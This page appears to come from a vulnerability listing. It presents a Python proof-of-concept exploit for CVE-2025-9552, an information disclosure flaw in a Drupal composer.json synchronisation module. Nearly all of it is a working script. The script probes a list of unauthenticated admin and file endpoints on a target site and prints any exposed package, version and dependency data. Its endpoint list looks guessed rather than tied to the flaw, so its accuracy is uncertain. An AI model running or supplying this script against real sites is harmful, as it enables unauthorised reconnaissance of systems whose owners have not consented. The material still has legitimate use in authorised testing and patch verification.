Drupal Synchronize composer.Json With Contrib Modules *.* (所有版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9552 PoC - Drupal Synchronize composer.Json Information Disclosure
# Vulnerability: Information Disclosure via Synchronize composer.Json With Contrib Modules
# CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
import requests
import sys
TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-drupal-site.com"
def exploit_info_disclosure(target):
"""
Exploit information disclosure vulnerability in Drupal Synchronize
composer.Json With Contrib Modules
"""
session = requests.Session()
# Step 1: Access the vulnerable endpoint without authentication
endpoints = [
f"{target}/admin/config/development/sync_composer_json",
f"{target}/sync-composer-json/status",
f"{target}/admin/modules/sync-composer-json",
f"{target}/composer.json",
f"{target}/sites/default/files/composer.json",
]
for endpoint in endpoints:
try:
response = session.get(endpoint, timeout=10, allow_redirects=False)
if response.status_code == 200:
print(f"[+] Accessible endpoint found: {endpoint}")
print(f"[+] Response length: {len(response.text)}")
# Extract sensitive information from response
if 'composer' in response.text.lower():
print(f"[+] Composer data exposed!")
# Parse and display relevant info
if '"name"' in response.text:
print(f"[+] Package information disclosed")
if '"version"' in response.text:
print(f"[+] Version information disclosed")
if '"require"' in response.text:
print(f"[+] Dependency information disclosed")
return response.text
except requests.exceptions.RequestException as e:
continue
return None
def check_vulnerability(target):
"""Check if target is vulnerable to CVE-2025-9552"""
print(f"[*] Testing {target} for CVE-2025-9552...")
result = exploit_info_disclosure(target)
if result:
print(f"[!] Target appears to be VULNERABLE")
print(f"[*] Disclosed data preview:\n{result[:500]}")
else:
print(f"[-] Target does not appear vulnerable or is patched")
if __name__ == "__main__":
check_vulnerability(TARGET_URL)